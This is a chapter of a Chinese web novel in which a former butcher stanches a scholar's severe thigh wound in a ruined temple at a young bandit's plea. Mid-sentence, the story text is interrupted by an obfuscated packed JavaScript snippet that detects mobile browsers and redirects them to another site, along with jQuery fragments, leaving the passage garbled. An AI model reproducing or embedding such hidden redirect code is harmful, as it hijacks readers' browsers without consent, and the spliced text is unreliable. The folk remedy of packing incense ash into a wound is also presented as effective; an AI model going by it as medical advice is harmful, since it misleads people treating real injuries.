6.山贼屠夫书生

作品:《乱世女主决定弃屠从医

    救人?


    山贼跪在佛前求屠夫救书生?


    这说出来怕是没有人会信。


    陈皎皎的身影藏匿在暗处,她继续问他,眼睛却已朝着杀猪刀的方向看去:“我为何要答应你?”


    “我……”


    眼见山贼低下头去,支支吾吾说不出个所以然来。


    陈皎皎立刻趁其不备,迅速起身,滑滚到佛像背后,抓起了地上的杀猪刀。


    山贼听见了烛台那头的轻微响动,战战兢兢地起身,歪头朝那边看去——


    金身剥落的佛像后面,微尘于皎洁月色下飞扬浮动,映入眼帘的是一张朴素得毫无攻击性却泛着温凉光辉如同满月一般的圆脸,对上一双似秋水般清澈明亮的眼眸。


    他感觉自己的心在怦怦狂跳,不知怎地就想起山寨兄弟们先前说过的什么“神佛本无相①”……


    陈皎皎不动声色,正欲将藏在身后的杀猪刀抵到那山贼的胸口。


    谁知,那山贼却先行一步跪倒,抱住了她的双腿。


    只见那山贼哭得稀里哗啦,好一阵狼狈:“神女救我……不对,是请您救救他吧……我只是不想被山寨的兄弟们笑话而已,但我也没想摊上人命啊呜呜呜……”


    陈皎皎被他的嚎啕大哭吵得脑袋嗡嗡作响,花了好半天才从他语无伦次且颠三倒四的自责和忏悔中明白事情的起因:


    这人名唤豆子,本是附近轻云寨的一名小山贼。虽说是山贼,但他年纪不大胆子也小,因为一直不敢和寨子里的兄弟们一同在官道上劫财转而被大家伙儿耻笑。


    那天,豆子为了证明自己,第一次鼓起勇气,打算随便拦住一个过路人再随便向他要点钱财就收手。


    谁承想,他在官道大路旁边的草丛里从日升蹲守到日落,才抓到一个清贫得表里如一的读书人。豆子刚从草里蹦出去,“打劫”二字还挂在嘴边,那书生的毛驴就发了疯似地受惊乱窜起来,连带着它背上的主人也受到了踢踹,随后一人一驴齐齐失足坠入了山崖。


    豆子没想到事情竟会到如此地步——他只是劫财但不想要人命啊。于是他慌忙地去山崖底下将受伤昏迷的书生捞了起来……


    陈皎皎闻之颇感困惑,出言打断他的啼哭呜咽:“你为什么不去城里找大夫?”


    豆子摸了摸泪,嚅嗫道:“我去了啊,但是我没钱,他们不收出不起诊金和药费的病人,更何况我又是山贼,自是无人待见的……”


    陈皎皎听到此话,心中也生出些许怜悯。


    “大家伙儿都劝我随便找个地方把他丢了或埋了倒也干净,可是我做不到啊,俺爹娘从小就告诉我害人性命之事是万万做不得的”,那山贼又在她的耳旁不停地絮絮叨叨:“大家都说这里有个小庙,让我来求庙里的佛祖菩萨发善心、救救命……”


    陈皎皎心中默默思量着,自己虽不是他眼中口中心心念念的拥有仙法妙术“神仙”,但出手相救一事她确实不容拒绝。


    行善无需什么特别的大道理。


    就像当初她救赵卿文一样。


    陈皎皎轻巧绕开脚下一把鼻涕一把泪的豆子,从衣服里掏出油布灯点燃,随后径直蹲到书生的面前,借着还算明亮的火光细细观察他的伤势。


    眼前此人的状态看上去其实并不算太差,尽管其脸面褪尽血色,但他额角的磕伤早已凝固结痂,按理说,如此伤势,他应该早早苏醒了才对……


    陈皎皎的目光顺着书生的身体向下扫视,她想起先前注意到的他那条略有异常的左腿。


    陈皎皎将油布灯放在地面上,撸起袖子,用杀猪的力气猛地撕开了那人左边的裤脚,然后缓缓往上掀开——小腿除了几块淤青似乎并无太大的伤口。


    奇怪了。


    但陈皎皎不敢就此断言此人已无大碍,养过猪的人都知道,看不见的内伤和隐疾才往往更加致命。


    她皱眉,神情严肃,一寸一寸往上,果真在其大股的位置摸到了大片未干的潮湿黏腻。


    陈皎皎屏息凝神,小心翼翼地分开他身上那早已和血肉黏在一起的青色布料。


    当她借着火光看清那人大股之处的伤势时,不禁倒吸了一口凉气——


    此处的伤可不是表面上的那种“小打小闹”,曾经作为屠夫的陈皎皎对这类伤口的严重和棘手的程度上再清楚不过的了。


    只见那红黑色裂口又长又深,如同长在那书生最坚硬也最脆弱腿肉上的一只空洞虚弱的“独眼”,正无声无息地带着些刺鼻的血腥,如深渊一般凝视着陈皎皎。那里,浅可见止不住汩汩流淌的鲜血,深可见内部隐隐错位的白骨。


    陈皎皎这才猛然惊觉,她低头,看见地上一道长长的、断断续续的骇人血迹,一直从庙内延伸至屋外……


    她回头对着正低头闭眼不敢看模糊血肉的豆子:“你过来。”


    “啊,我,我吗?”


    豆子看上去十分害怕,他不大情愿地挪动着身体。


    “快点”,人命关天,陈皎皎没时间再与他扭扭捏捏了,她一把摘下书生腰间的木雕书简,递给豆子:“你拿好。”


    他不解地接过,露出疑惑的神情。


    油布灯散发出暖黄柔和的火光,映照在陈皎皎的半边面容之上。


    她其实远非看上去那般冷静,无人知晓她正努力控制双手的细微抖动,掩饰着那份从陈家村起一路走来都如影随形的不安和惊慌,一字一句,掷地有声,似乎在安慰豆子,也好像是在鼓励自己:


    “这很重要,没有我,他活不了;没有你,他也活不了。”


    ……


    陈皎皎将书生那条受伤的腿微微抬高,放置于她用周围随处可见的破瓦烂木头搭建而成的简易高台上。②


    血流的速度渐渐放缓,但却远远没有达到她料想之中的止血奇效。


    不行。


    这样不行。


    陈皎皎心情复杂沉重,她知道如今没有时间让流血慢慢止住然后自行愈合,再等下去血流干了,他必死无疑。


    她迅速把包裹里的白布条拉扯出来,又让豆子坐到书生背后紧紧抱住他的双臂——必须加一把力促成伤口以最快的速度止血。


    陈皎皎联想起自己曾经给一头被狼咬伤腿部的怀孕母猪处理止血的场景,只是不知同样的法子对人是否也依然有效。


    她右膝跪地,双手将布条展开又叠加,与豆子对视一眼,接着咬牙将手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954738|193030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中厚厚的白布全力按在了那人的伤口上。③


    豆子配合着她,看准时机,趁着处于巨大疼痛中的书生无意识张嘴大口呼吸之时,眼疾手快地将书简塞在了他的口中,以防其不慎咬断自己的舌头。


    冬末春初的山林中沉寂无声,狭小腐.败的破庙里,痛苦和不安正随着慢慢微弱的火光渐渐熄灭。


    血似乎止住了。


    陈皎皎能感觉手下的伤口不再像泉眼一样喷流鲜血,她呼吸沉重,依旧不敢懈怠,只能缓缓再缓缓地松开交叠紧按的手。


    呼……


    此刻,她已是汗流浃背,看着不再渗血的伤口,终于露出了一个虚脱勉强的笑容,接着喘着大气仰面跌坐到了地上。


    豆子围上来,神情激动地拉住她的胳膊:“神女,神女,你看!他,他不流血了!”


    “我,不是神女”,被误作神仙的陈皎皎支撑住脱力的双腿,摇摇晃晃地从冰冷的地面上站起,一步步走向烛台:“我只是一个杀猪的村妇而已。”


    豆子跟在她身后,一副恍然大悟的样子:“果真和他们说的一样,神仙就是谦虚低调啊……”


    陈皎皎未置一词,专心地用杀猪刀的尖端拨弄着烛台上的香炉。


    豆子好奇地探头探脑:“神女,你在做什么呢?”


    “在他的伤患处撒一层香炉灰,可以帮助流血凝结。”④


    这是乡野之间流传偏方。


    陈皎皎的杀猪刀挑起铜炉底层的香灰,然后轻轻撒在了书生的伤口上,她又用嘴撕下一节布条,沿着他的伤腿紧紧缠了三圈。


    她一边包扎一边对豆子说:“你再去捡两块干净点的长木板,他的骨头也歪了,要固定一下。”


    “得令!”


    ……


    二人忙活了大半宿,浑然未觉此时此刻已然月至中天,再不出两个时辰,天光就会彻底照亮沟雄岭最东边的山头。


    陈皎皎疲惫地依靠在柱子上,她的短衫和裙面上全是血污和余灰。


    她抬头,看向小庙正中那具破败残缺的神佛塑像,心中倒有些难以言喻的触动:


    不见血的庄严法相如今也见了一回血,这算不算神佛慈悲,助了她一臂之力呢?


    陈皎皎转眼又看到蜷缩在角落里的豆子,终于得闲问出她心底的疑惑。她笑着开口,没有任何冒犯的意味,只是单纯的好奇:“你年纪小,胆子不大,又无害人之心,为什么要跑去当山贼呢?”


    豆子没有抬头,目光直直地盯着青石板上那只正搬动着比它本身大出好几倍碎渣的蚂蚁,目不转睛,神情呆滞。


    陈皎皎以为他并没有听见自己的话,索性也不多做追究,只是怀中紧抱着杀猪刀,欲闭眼休息了。


    “因为,他们都死了……”


    豆子平静地开口,面无表情地伸出手指,硕大的黑影顿时笼罩在那只微小蚂蚁的头顶。


    他的声音不大,甚至听上去有些遥远和模糊,但此刻却如同一道惊雷劈开了二人之间的沉默。


    “什么?”陈皎皎猛地睁开双眼,她眉头紧皱,内心久违的惶惑如同一块大石头压得她喘不过气来:


    “你说的‘他们’,是谁……?”